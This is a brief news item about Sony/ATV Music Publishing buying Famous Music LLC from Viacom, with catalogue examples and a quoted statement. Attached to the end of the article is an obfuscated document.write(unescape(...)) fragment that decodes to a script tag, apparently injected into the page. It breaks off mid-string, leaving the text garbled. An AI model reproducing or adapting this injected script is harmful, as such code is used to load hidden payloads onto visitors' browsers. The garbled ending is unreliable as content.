Storied music publisher Famous Music LLC has been acquired by Sony/ATV Music Publishing from Viacom.
Sony/ATV, which is co-owned by Michael Jackson, will take control of Famous' more than 125,000 songs and sound cues, a catalog that includes standards "Moon River," "Silver Bells" and "That's Amore," as well as the themes from The Godfather and Mission: Impossible. It also includes hits by recent artists such as Eminem, Shakira and Bjork.
In a statement, the King Of Pop himself remarked that, "This is a milestone event for Sony/ATV Music Publishing. The diverse collection of songs in this catalog range from timeless classics to contemporary hits, and I am pleased to add the acquisition of Famous Music to Sony/ATV."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22